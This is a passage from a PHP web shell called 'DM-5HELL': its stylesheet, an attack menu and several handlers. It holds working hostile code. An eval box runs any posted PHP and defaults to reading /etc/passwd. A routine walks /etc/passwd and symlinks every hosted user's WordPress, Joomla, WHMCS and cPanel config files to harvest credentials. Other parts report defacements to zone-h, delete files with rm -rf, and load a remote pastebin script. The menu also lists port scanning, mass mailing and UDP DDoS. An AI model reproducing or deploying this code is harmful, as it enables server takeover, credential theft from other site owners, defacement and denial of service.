- input,button{border-radius:10px}textarea{font-size:10px}textarea,textarea:hover{width:100%;color:#0f0;height:400px;font-family:Roboto,Arial,sans-serif;font:100%/1.25 none}a:hover,input[type=submit]{cursor:url(<?php echo $svg_hover;?>),default}#menu a:hover,input[type=checkbox],input[type=radio],select,textarea,textarea:hover{background:rgba(0,1,0,.3);border-bottom:1px solid #0f0;border-top:1px solid #0f0}#menu a,#menu a:hover,input[type=checkbox],input[type=radio],select,textarea,textarea:hover{border-right:1px solid #0f0;border-left:1px solid #0f0}#menu a,.phpinfo a:link,a,a:hover{text-decoration:none}.b_tbl,.c_tbl,.phpinfo .center{text-align:center}.explore table,.phpinfo table{border-collapse:collapse}#menu a,.explore tr{white-space:nowrap}#menu a,.logout{letter-spacing:2px}body,html{cursor:url(<?php echo $svg;?>),default}body{font-family:Roboto, Arial, sans-serif;background-color:#000;background-image:url(https://i0.wp.com/securecdn.pymnts.com/wp-content/uploads/2016/08/hacking-group-Remsec-malware.jpg);background-position:center center;background-repeat:no-repeat;background-attachment:fixed;background-size:cover;font-size:12px}input[type=file]{color:#0f0;border:0px solid transparent}button[type=submit],input[type=email],input[type=number],input[type=password],input[type=submit],input[type=text]{background:rgba(0,1,0,.3);color:#0f0;border-bottom:1px solid #0f0;border-top:1px solid #0f0;border-right:1px solid #444;border-left:1px solid #444}button[type=submit],input[type=submit]{font-family:FontAwesome;color:#fff;padding:0.2em 0.4em 0.2em 0.4em;margin:-1px}input[type=checkbox],input[type=radio]{color:#0f0}textarea:hover{box-shadow:0 0 15px 0 #0f0}#logo{font-family:"monsters_attack";font-size:100px}#logo a{color:#0f0;text-shadow:2px 2px #fff;text-decoration:none}a:hover{color:#0f0}*{color:#fff}#menu{background:0 0;margin:1px}#menu a{padding:1px 10px;margin:0;background:rgba(0,1,0,.8);border-radius:4px;border-bottom:1px solid #444;border-top:1px solid #444}#menu a:hover{border-radius:8px}.inputz,.inputzbut,.output{background:rgba(0,0,0,.3)}.tabnet{margin:15px auto 0;border:1px solid #333}.main{width:90%;margin:30px auto 10px;padding:10px 10px 5px;border-radius:5px;-moz-border-radius:5px;-moz-box-shadow:0 0 10px #fff}.cmdbox,.output{width:100%}.gaya{color:#0f0}.gaya a,.inputz,.inputzbut{color:#fff}.inputz{border:0;padding:2px;border-bottom:1px solid #0f0;border-top:1px solid #0f0}.inputzbut{color:#lime;margin:0 4px;border:1px solid #444;border-bottom:1px solid #0f0;border-top:1px solid #0f0;border-right:1px solid #0f0;border-left:1px solid #0f0}.dminfox,.output{color:#fff}.inputz:hover,.inputzbut:hover{border-bottom:1px solid #fff;border-top:1px solid #fff}.output{margin:auto;border:1px solid #0f0;height:400px;padding:0 2px}.head_info{padding:0 4px}.infodmx{color:#0f0}.b0{font-size:30px;padding:0;color:#444}.b1,.b2{font-size:25px;padding:0}.b1{color:#0f0}.b2{color:#fff}.b3{background:0 0;font-size:10px;padding:0;color:#0f0}.b10,.b4,.b5,.b6,.b7,.b8,.b9{font-size:20px}.b4{padding:0;color:red}.b5{padding:0;color:#fff}.b6,.b7{padding:0;color:#0f0}.b8{padding:0;color:#fff}.b9{padding:0;color:#ff0}.b10{padding:0;color:#444}.b11,.b12{font-size:10px;padding:0}.b11{color:#ff0}.b12{color:#444}.b_tbl{margin:0 1px 0 0;padding:0 1px 0 0;border-right:1px solid #333}.c_tbl{margin:0 4px 0 0;padding:0 4px 0 0;border-left:1px solid #333}.phpinfo table{width:100%;padding:0}.phpinfo pre{margin:0;font-family:monospace}.phpinfo a:link{color:#009;background-color:#fff}.phpinfo a:hover{text-decoration:underline}.explore a,.logout{text-decoration:none}.phpinfo .center table{margin-left:auto;margin-right:auto;text-align:left}.phpinfo .center th{text-align:center!important}.phpinfo td,th{border:1px solid #000;vertical-align:baseline}.phpinfo h1{font-size:150%}.phpinfo .p{text-align:left}.phpinfo .e{background-color:#ccf;font-weight:700;color:#000}.phpinfo .h{background-color:#99c;font-weight:700;color:#000}.phpinfo .v,.phpinfo .vr,.phpinfo hr{background-color:#ccc;color:#000}.phpinfo .vr{text-align:right}.phpinfo img{float:right;border:0}.phpinfo hr{width:600px;border:0;height:1px}.phpinfo h2,.phpinfo h2 a{text-align:center;font-size:16px;margin:30px 0 0;background:#222;padding:4px 0}.explore{width:100%}.explore tr:nth-child(even){background:rgba(211,211,211,.66)}.explore tr:nth-child(odd){background:rgba(128,128,128,.66)}.explore td{#border-bottom:1px solid #fff;#padding:0 8px;#line-height:10px}.explore th{background:rgba(0,1,0,.9);padding:5px 15px;font-weight:400 white-space:nowrap;color:#0f0}.explore th:hover,.phpinfo th:hover{border-bottom:1px solid #0f0}.explore tr:hover{background:rgba(0,0,0,.7);color:rgba(0,0,0,.7);cursor:pointer cursor:url(<?php echo $svg;?>),progress}.viewfile,.viewfile:hover{color:#fff;margin:4px 2px;padding:8px}.viewfile{background-color:rgba(255,255,255,0.62);border-radius:30px;-moz-border-radius:30px;-webkit-border-radius:30px;border:1px solid transparent}.viewfile:hover{border-radius:30px;-moz-border-radius:30px;-webkit-border-radius:30px;border:1px solid transparent;box-shadow:0 0 8px 0 #0f0}.sembunyi{display:none;padding:0;margin:0}.info{background:#111;width:99%;padding:5px;margin:10px auto 5px;text-align:center;font-size:13px}.info a,.info span{font-size:14px}.jaya{margin:5px;text-align:right}.click:hover{box-shadow:0 0 15px 0 #0f0;cursor:url(<?php echo $svg_hover;?>),default}.logout{padding:4px 18px;margin:0;background:rgba(0,1,0,.8);border-radius:4px;border-bottom:1px solid #444;border-top:1px solid #444;border-right:1px solid #0f0;border-left:1px solid #0f0}.inf{white-space:nowrap;}table{font-size:12px;}.true_code{color: #f00}
- .fa-file-powerpoint-o,.fa-file-excel-o,.fa-file-word-o,.fa-file-video-o,.fa-file-audio-o,.fa-file-pdf-o,.fa-file-text-o,.fa-file-archive-o,.fa-home,.fa-reply-all,.fa-file-image-o,.fa-file-code-o{color:#0f0}.fa-folder{color:#eeae4a;}.dlzip{color:#fff}
- h1,h2{font-size:150%;padding:.8em 1em;font-weight:400}h1,h2,h3{font-weight:400}form,h1{margin:0}code,h1{background:transparent}h3,pre{margin:1em 0 0}img,input[type=image]{vertical-align:middle}h1{border-bottom:1px solid #999;color:#777}h2{margin:0 0 20px -18px;border-bottom:1px solid #000;color:#000;background:#ddf}h3{font-size:130%}fieldset{display:inline;vertical-align:top;padding:.5em .8em;margin:.8em .5em 0 0;border:1px solid #999}p{margin:.8em 20px 0 0}img{border:0}td img{max-width:200px;max-height:200px}pre{font:100%/1.25 monospace}#breadcrumb,#lang{top:0;line-height:1.8em}#h1,.jush-php_quo_var,.jush-php_var,.jush-sql_var,.view{font-style:italic}input.default{box-shadow:1px 1px 1px #777}input.maxlength,input.required{box-shadow:1px 1px 1px red}input.wayoff{left:-1000px;position:absolute}.block{display:block}.js .hidden,.nojs .jsonly{display:none}.js .column{position:absolute;background:#ddf;padding:.27em 1ex .3em 0;margin-top:-.27em}.error{color:red}.error b{background:#fff;font-weight:400}.message{color:#0f0;background:rgba(255,255,255,.26)}.error,.message{padding:.5em .8em;margin:1em 20px 0 0}.char{color:#007F00}.date{color:#7F007F}.enum{color:#007F7F}.binary{color:red}.time{color:silver;font-size:70%}.datetime,.function,.number{text-align:right}.type{width:15ex;width:auto\9}.options select{width:20ex;width:auto\9}.active{font-weight:700}.sqlarea{width:98%}.icon{width:18px;height:18px;background-color:navy}.icon:hover{background-color:red}.size{width:6ex}.help{cursor:help}.pages{bottom:0;left:21em;padding:5px;border:1px solid #0f0}#help,#schema .references,#schema .table{position:absolute}.loadmore{margin-left:1ex}#breadcrumb,#content a,#menus a{padding:1px;margin:1px}#menus{margin:10px 0 0;padding:0 0 30px;top:2em;left:0}#menustable,input{background:transparent;border:1px solid #0f0;border-collapse:collapse;white-space:nowrap}#menustable td,#menustable th{border:1px solid #0f0;white-space:nowrap}#menus p,#tables{padding:.2em 1em;margin:0;border-bottom:1px solid #0f0}#tables li{list-style:none}#dbs{overflow:hidden}#logins,#tables{white-space:nowrap;overflow:auto}#content{margin:2em 0 0 21em;padding:10px 20px 20px 0}#lang{left:0;padding:.3em 1em}#breadcrumb{white-space:nowrap;left:21em;height:2em}#h1{color:#777;text-decoration:none}#version{font-size:67%;color:red}#schema{margin-left:60px;position:relative;-moz-user-select:none;-webkit-user-select:none}#schema .table{border:1px solid silver;padding:0 2px;cursor:move}#help{border:1px solid #999;background:#eee;padding:5px;font-family:monospace;z-index:1}.rtl h2{margin:0 -18px 20px 0}.rtl .error,.rtl .message,.rtl p,.rtl table{margin:1em 0 0 20px}.rtl .logout{left:0;right:auto}.rtl #breadcrumb,.rtl .pages{right:21em;left:auto}.rtl #content{margin:2em 21em 0 0;padding:10px 0 20px 20px}.rtl #breadcrumb{margin:0 -18px 0 0}.rtl input.wayoff{left:auto;right:-1000px}.rtl #lang,.rtl #menus{left:auto;right:0}@media all and (max-device-width:880px){#lang,#menus{position:static}#breadcrumb,.pages{left:auto}.rtl #breadcrumb,.rtl .pages{right:auto}#menus{width:auto}#content{margin-left:10px}#lang{border-top:1px solid #999}.rtl #content{margin-right:10px}}@media print{#lang,#menus{display:none}#content{margin-left:1em}#breadcrumb{left:1em}.nowrap td,.nowrap th,td.nowrap{white-space:normal}}.jush{color:#000}.jush-com,.jush-com_code,.jush-htm_com,.jush-js_doc,.jush-js_one,.jush-one,.jush-php_com,.jush-php_doc,.jush-php_one{color:gray}.jush-php,.jush-php_fun,.jush-php_new{color:#003;background-color:#FFF0F0}.jush-apo,.jush-php_eot,.jush-php_quo,.jush-quo,.jush-quo_one,.jush-sql_apo,.jush-sql_eot,.jush-sql_quo,.jush-sqlite_apo{color:green}.jush-php_apo{color:#009F00}.jush-php_apo .jush-php_quo_var,.jush-php_apo .jush-php_var{font-style:normal}.jush-php_halt2{background-color:#fff;color:#000}.jush-att_css .jush-att_apo,.jush-att_css .jush-att_quo,.jush-att_css .jush-att_val,.jush-tag_css{color:#000;background-color:#FFFFE0}.jush-att_js .jush-att_apo,.jush-att_js .jush-att_quo,.jush-att_js .jush-att_val,.jush-css_js,.jush-tag_js{color:#000;background-color:#F0F0FF}.jush-tag,.jush-xml_tag{color:navy}.jush-att,.jush-att_css,.jush-att_http,.jush-att_js,.jush-xml_att{color:teal}.jush-att_apo,.jush-att_quo,.jush-att_val,.jush-ent,.jush-js_key,.jush-js_key .jush-apo,.jush-js_key .jush-quo{color:purple}.jush-js_reg{color:navy}.jush-php_mssql .jush-php_apo,.jush-php_mssql .jush-php_quo,.jush-php_oracle .jush-php_apo,.jush-php_oracle .jush-php_quo,.jush-php_pgsql .jush-php_apo,.jush-php_pgsql .jush-php_quo,.jush-php_sql .jush-php_apo,.jush-php_sql .jush-php_quo,.jush-php_sqlite .jush-php_apo,.jush-php_sqlite .jush-php_quo{background-color:#FFBBB0}.jush-bac,.jush-bra,.jush-mssql_bra,.jush-php_bac,.jush-sqlite_quo{color:red}.jush-clr,.jush-num{color:#007F7F}.jush a{color:navy}.jush a.jush-help{cursor:help}.jush-mssql a,.jush-oracle a,.jush-pgsql a,.jush-simpledb a,.jush-sql a,.jush-sql_code a,.jush-sqlite a{background:rgba(255,255,255,.26);font-weight:700}.jush-php_sql .jush-php_apo a,.jush-php_sql .jush-php_quo a{font-weight:400}.jush-apo a,.jush-att a,.jush-php_apo a,.jush-php_eot2 a,.jush-php_quo a,.jush-quo a,.jush-tag a{color:inherit;color:expression(parentNode.currentStyle.color)}a.jush-custom:link,a.jush-custom:visited{font-weight:400;color:inherit;color:expression(parentNode.currentStyle.color)}.jush p{margin:0}
- .num{float:left;color:#0f0;font-family:monospace;text-align:right;margin-right:6pt;padding-right:6pt;border-right:1px solid #fff}
- .inputsubmit{text-indent:-99em;width:28px}.awesome{position:relative}.awesome:after{font-family:FontAwesome;content:"\f058";font-size:15px;position:absolute;right:7px;top:0.0em;pointer-events:none}
- .awesomeget{position:relative}.awesomeget:after{font-family:FontAwesome;content:"\f058";font-size:15px;position:absolute;right:17px;top:0.0em;pointer-events:none}
- .view_images{width:100%;max-width:800px;height:auto}</style>
- <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
- <script src="https://code.jquery.com/jquery-latest.min.js"></script>
- <script>$(document).ready(function(){$('#cmd').focus()});</script>
- <?php
- if(isset($_GET['x'])&&($_GET['x']=='phpmyadmin')){
- echo'<script type="text/javascript" src="https://pastebin.com/raw/iqfC58Fh"></script>';
- }
- echo'</head><body>
- <div class="main"><div class="head_info">
- <table align="center"><tr><td><table class="b_tbl"><tr><td>
- <span id="logo"><a href="'.PHPSELF.'" target="_blank">DM</a></span>
- </td></tr>
- <tr><td><b><span class="b1">DM-5HELL</span></b></td></tr>
- <tr><td><b><span style="font-size:15px;padding:0;color:#ff0000;">[root@RHEL5 ~]# whoami</span></b></td></tr>
- </table>
- </td><td class="inf">'.$buff.'</td></tr>
- </table></div>
- <div id="menu" align="center">
- <table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'">Home</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=phpinfo">Phpinfo</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=domain">Domain</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=adminer">Adminer</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=phpmyadmin">Sql Manager</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=upload">Upload</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=mail">Mailer</a></td>
- </tr></table></div>
- <div id="menu" align="center">
- <table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=ckperl">Perl</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=php">Eval</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=grabber">Grab</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=autograbber">Auto Grab</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=jumping">Jumping</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=shell">Command</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsec1">Htaccess</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsec2">Php.ini</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsec3">Basedir</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsec4">Prosess</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=apache">Apache</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=hostgator">Hosgator</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=limehost">Bluehost</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=ovh">Ovh</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=litespeed">Nginx</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym1">Symlink 1</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym2">Symlink 2</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym3">Symlink 3</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym4">Symlink 4</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym5">Symlink 5</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmsym6">Symlink 6</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=cgi2012">Cgi 2012</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=iis7">Iis 7.5</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=bomail">Bom Email</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmwp">Wp</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmjm">Joomla</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=dmvb">Vb</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=skype">Skype</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=whmcs2">Whmcs</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=plesk">Plesk</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=reseller">Reseller</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=cpanel">Cpanel</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=crypter">Encript</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=unzip">Unzip</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=ns">Netsploit</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=coding">Encode</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=analyzer">Analyzer</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=tools">Other Tool</a></td>
- </tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=clog">Log</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=sscan">Shell Scan</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=pscan">Port Scan</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=phpddos">Udp Ddos</a></td></tr></table></div>
- <div id="menu" align="center"><table><tr>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=about">About</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=kill">Kill Me</a></td>
- <td style="text-align:center;"><a href="?dm='.$pwd.'&x=logout">Log Out</a></td>
- </tr></table></div>';
- if(isset($_GET['x'])&&($_GET['x']=='php')){
- echo'<form action="?dm='.$pwd.'&x=php" method="post">
- <table class="cmdbox"><tr><td>
- <textarea class="output" name="cmd" id="cmd">';if(isset($_POST['submitcmd'])){echo eval(magicboom($_POST['cmd']));}else{echo"echo file_get_contents('/etc/passwd');";}echo'</textarea>
- </td></tr>
- <tr><td align="center"><input class="inputzbut" type="submit" name="submitcmd" /></td></tr></table>
- </form>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='tools')){
- echo'<center>
- <br/><b><span class="b7">O=:[ MULTY TOOLS ]:=O</span></b><br/><br/>
- <div id="menu" align="center"><table><tr>
- <td align=center><b><a href="?dm='.$pwd.'&x=zoneh">ZONE-H</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=">KOSONG 1</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=">KOSONG 2</a></b></td>
- <td align=center><b><a href="?dm='.$pwd.'&x=">KOSONG 3</a></b></td>
- </tr></table></div>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='zoneh')){
- echo'<center><br/><b><span class="b7">O=:[ ZONE-H ]:=O</span></b><br/><br/><form action="?dm='.$pwd.'&x=zoneh" method="post">
- <input type="text" placeholder="Notifer Name (Aganteng)" name="defacer" size="60">
- <br><textarea name="domains" placeholder="List Domain"></textarea><br>
- <input type="submit" name="go"></form><br><br>';
- if(isset($_POST['go'])){
- if($_POST['defacer']){
- $defacer=$_POST['defacer'];
- }else{
- $defacer='C0nn3ct10n 3rr0r';
- }
- if($_POST['domains']){
- foreach(explode("\n",trim($_POST['domains'])) as $domain){
- zoneh($domain,$defacer);
- }
- echo'<a href="http://zone-h.com/archive/published=0" target="_blank">Check</a>';
- }
- }
- echo'</center>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='kill')){
- $a=array('ckperl','telnet','angel','hacked');
- foreach($a as $b){
- if(delete_option($b)){
- }elseif(exe('rm -rf '.$b)){
- }else{
- palbtn($b);
- }
- }
- if(isset($_SERVER['HTTP_COOKIE'])){
- $cookies=explode(';',$_SERVER['HTTP_COOKIE']);
- foreach($cookies as $cookie) {
- $parts=explode('=',$cookie);
- $name=trim($parts[0]);
- setcookie($name,'',time()-(60*(60*60*360000)));
- }
- }else{
- foreach($_COOKIE as $delc=>$value){
- setcookie($delc,'',time()-(60*(60*60*360000)));
- }
- }
- unlink(basename($_SERVER['SCRIPT_NAME']));
- setcookie('Page_Login','', time()-(60*(60*60*360000)));
- echo'<meta http-equiv="refresh" content="2; url='.lokasi.'"><center><br /><b><span class="b7"> Please Wait ...</span></center>';
- }elseif(isset($_GET['x'])&&($_GET['x']=='autograbber')){
- echo "<center><b><span class='b7'>O=:[ Auto Grab Config ]:=O</span></b><br />Checking Functions ...<br>";
- if(preg_match('/symlink|copy/',ini_get('disable_function'))) {
- echo "<br/><span class='b9'FUNCTIONS SYMLINK IS ON => HAJAR TERUS GAN</span><br/></center>";
- }
- @mkdir('hacked', 0755);
- @chdir('hacked');
- @symlink('/','auto_grab_root');
- simpan(".htaccess","Options all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any");
- @mkdir('auto_grab', 0755);
- @chdir('auto_grab');
- simpan(".htaccess","Options all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any");
- @mkdir('exe', 0755);
- simpan("$pwdhacked/auto_grab/exe/.htaccess","Options all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any");
- @mkdir('sym', 0755);
- simpan("$pwdhacked/auto_grab/sym/.htaccess","Options all\nOptions +Indexes\nOptions +FollowSymLinks\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nSatisfy Any");
- if(is_readable('/etc/passwd')){$etcpa='/etc/passwd';}else{$etcpa='/etc/passwd-';}
- simpan('passwd', file_get_contents($etcpa));
- $passwd=explode("\n",file_get_contents($etcpa));
- echo "Start Symlinking ...<br>";
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- foreach($passwd as $pwd_){
- $pawd=explode(':',$pwd_);
- $i=$pawd[0];
- exe("ln -s /root/.accesshash exe/root_AccessHash.txt");
- exe("ln -s /home/$i/.my.cnf exe/$i-my.cnf_cPanel.txt");
- exe("ln -s /home/$i/.accesshash exe/$i-AccessHash_Whm.txt");
- exe("ln -s /home/$i/cpanel3-skel exe/$i-RESELLER");
- exe("ln -s /home/$i/.cpanel exe/$i-cachesconfig");
- exe("ln -s /home/$i/public_html/includes/configure.php exe/$i-shop.txt");
- exe("ln -s /home/$i/public_html/soporte/configuration.php exe/$i-soporte-whmcs.txt");
- exe("ln -s /home/$i/public_html/painel-do-cliente/configuration.php exe/$i-painel-do-cliente-whmcs.txt");
- exe("ln -s /home/$i/public_html/financeiro/configuration.php exe/$i-financeiro_whmcs.txt");
- exe("ln -s /home/$i/public_html/os/includes/configure.php exe/$i-shop-os.txt");
- exe("ln -s /home/$i/public_html/oscom/includes/configure.php exe/$i-oscom.txt");
- exe("ln -s /home/$i/public_html/oscommerce/includes/configure.php exe/$i-oscommerce.txt");
- exe("ln -s /home/$i/public_html/oscommerces/includes/configure.php exe/$i-oscommerces.txt");
- exe("ln -s /home/$i/public_html/shop/includes/configure.php exe/$i-shop2.txt");
- exe("ln -s /home/$i/public_html/shopping/includes/configure.php exe/$i-shop-shopping.txt");
- exe("ln -s /home/$i/public_html/sale/includes/configure.php exe/$i-sale.txt");
- exe("ln -s /home/$i/public_html/amember/config.inc.php exe/$i-amember.txt");
- exe("ln -s /home/$i/public_html/config.inc.php exe/$i-amember2.txt");
- exe("ln -s /home/$i/public_html/member/config.php exe/$i-member-config73.txt");
- exe("ln -s /home/$i/public_html/member/configuration.php exe/$i-member-configuration457.txt");
- exe("ln -s /home/$i/public_html/members/configuration.php exe/$i-members-configuration8768.txt");
- exe("ln -s /home/$i/public_html/members/config.php exe/$i-members-configuration47533.txt");
- exe("ln -s /home/$i/public_html/config.php exe/$i-4images1.txt");
- exe("ln -s /home/$i/public_html/forum/includes/config.php exe/$i-forum.txt");
- exe("ln -s /home/$i/public_html/forums/includes/config.php exe/$i-forums.txt");
- exe("ln -s /home/$i/public_html/admin/conf.php exe/$i-5.txt");
- exe("ln -s /home/$i/public_html/admin/config.php exe/$i-4.txt");
- exe("ln -s /home/$i/public_html/wp-config.php exe/$i-WordPress.txt");
- exe("ln -s /home/$i/public_html/wp/wp-config.php exe/$i-WordPress-wp.txt");
- exe("ln -s /home/$i/public_html/WP/wp-config.php exe/$i-WordPress-WP.txt");
- exe("ln -s /home/$i/public_html/wp/beta/wp-config.php exe/$i-WordPress-wp-beta.txt");
- exe("ln -s /home/$i/public_html/beta/wp-config.php exe/$i-WordPress-beta.txt");
- exe("ln -s /home/$i/public_html/press/wp-config.php exe/$i-WordPress-press.txt");
- exe("ln -s /home/$i/public_html/wordpress/wp-config.php exe/$i-WordPress-wordpress.txt");
- exe("ln -s /home/$i/public_html/Wordpress/wp-config.php exe/$i-WordPress-Wordpress.txt");
- exe("ln -s /home/$i/public_html/blog/wp-config.php exe/$i-WordPress-Wordpress.txt");
- exe("ln -s /home/$i/public_html/wordpress/beta/wp-config.php exe/$i-WordPress-wordpress-beta.txt");
- exe("ln -s /home/$i/public_html/news/wp-config.php exe/$i-WordPress-news.txt");
- exe("ln -s /home/$i/public_html/new/wp-config.php exe/$i-WordPress-new.txt");
- exe("ln -s /home/$i/public_html/blog/wp-config.php exe/$i-WordPress-blog.txt");
- exe("ln -s /home/$i/public_html/beta/wp-config.php exe/$i-WordPress-beta.txt");
- exe("ln -s /home/$i/public_html/blogs/wp-config.php exe/$i-WordPress-blogs.txt");
- exe("ln -s /home/$i/public_html/home/wp-config.php exe/$i-WordPress-home.txt");
- exe("ln -s /home/$i/public_html/protal/wp-config.php exe/$i-WordPress-protal.txt");
- exe("ln -s /home/$i/public_html/site/wp-config.php exe/$i-WordPress-site.txt");
- exe("ln -s /home/$i/public_html/main/wp-config.php exe/$i-WordPress-main.txt");
- exe("ln -s /home/$i/public_html/test/wp-config.php exe/$i-WordPress-test.txt");
- exe("ln -s /home/$i/public_html/arcade/functions/dbclass.php exe/$i-ibproarcade.txt");
- exe("ln -s /home/$i/public_html/arcade/functions/dbclass.php exe/$i-ibproarcade.txt");
- exe("ln -s /home/$i/public_html/joomla/configuration.php exe/$i-joomla2.txt");
- exe("ln -s /home/$i/public_html/protal/configuration.php exe/$i-joomla-protal.txt");
- exe("ln -s /home/$i/public_html/joo/configuration.php exe/$i-joo.txt");
- exe("ln -s /home/$i/public_html/cms/configuration.php exe/$i-joomla-cms.txt");
- exe("ln -s /home/$i/public_html/site/configuration.php exe/$i-joomla-site.txt");
- exe("ln -s /home/$i/public_html/main/configuration.php exe/$i-joomla-main.txt");
- exe("ln -s /home/$i/public_html/news/configuration.php exe/$i-joomla-news.txt");
- exe("ln -s /home/$i/public_html/new/configuration.php exe/$i-joomla-new.txt");
- exe("ln -s /home/$i/public_html/home/configuration.php exe/$i-joomla-home.txt");
- exe("ln -s /home/$i/public_html/vb/includes/config.php exe/$i-vb-config.txt");
- exe("ln -s /home/$i/public_html/vb3/includes/config.php exe/$i-vb3-config.txt");
- exe("ln -s /home/$i/public_html/cc/includes/config.php exe/$i-vb1-config.txt");
- exe("ln -s /home/$i/public_html/includes/config.php exe/$i-includes-vb.txt");
- exe("ln -s /home/$i/public_html/forum/includes/class_core.php exe/$i-vbluttin-class_core.php.txt");
- exe("ln -s /home/$i/public_html/vb/includes/class_core.php exe/$i-vbluttin-class_core.php1.txt");
- exe("ln -s /home/$i/public_html/cc/includes/class_core.php exe/$i-vbluttin-class_core.php2.txt");
- exe("ln -s /home/$i/public_html/cliente/configuration.php exe/$i-whmcs_cliente.txt");
- exe("ln -s /home/$i/public_html/whm/configuration.php exe/$i-whm15.txt");
- exe("ln -s /home/$i/public_html/central/configuration.php exe/$i-whm-central.txt");
- exe("ln -s /home/$i/public_html/whm/whmcs/configuration.php exe/$i-whm-whmcs.txt");
- exe("ln -s /home/$i/public_html/whm/WHMCS/configuration.php exe/$i-whm-WHMCS.txt");
- exe("ln -s /home/$i/public_html/whmc/WHM/configuration.php exe/$i-whmc-WHM.txt");
- exe("ln -s /home/$i/public_html/whmcs/configuration.php exe/$i-whmcs.txt");
- exe("ln -s /home/$i/public_html/support/configuration.php exe/$i-support.txt");
- exe("ln -s /home/$i/public_html/supp/configuration.php exe/$i-supp.txt");
- exe("ln -s /home/$i/public_html/secure/configuration.php exe/$i-sucure.txt");
- exe("ln -s /home/$i/public_html/secure/whm/configuration.php exe/$i-sucure-whm.txt");
- exe("ln -s /home/$i/public_html/secure/whmcs/configuration.php exe/$i-sucure-whmcs.txt");
- exe("ln -s /home/$i/public_html/cpanel/configuration.php exe/$i-cpanel.txt");
- exe("ln -s /home/$i/public_html/panel/configuration.php exe/$i-panel.txt");
- exe("ln -s /home/$i/public_html/host/configuration.php exe/$i-host.txt");
- exe("ln -s /home/$i/public_html/hosting/configuration.php exe/$i-hosting.txt");
- exe("ln -s /home/$i/public_html/hosts/configuration.php exe/$i-hosts.txt");
- exe("ln -s /home/$i/public_html/configuration.php exe/$i-joomla.txt");
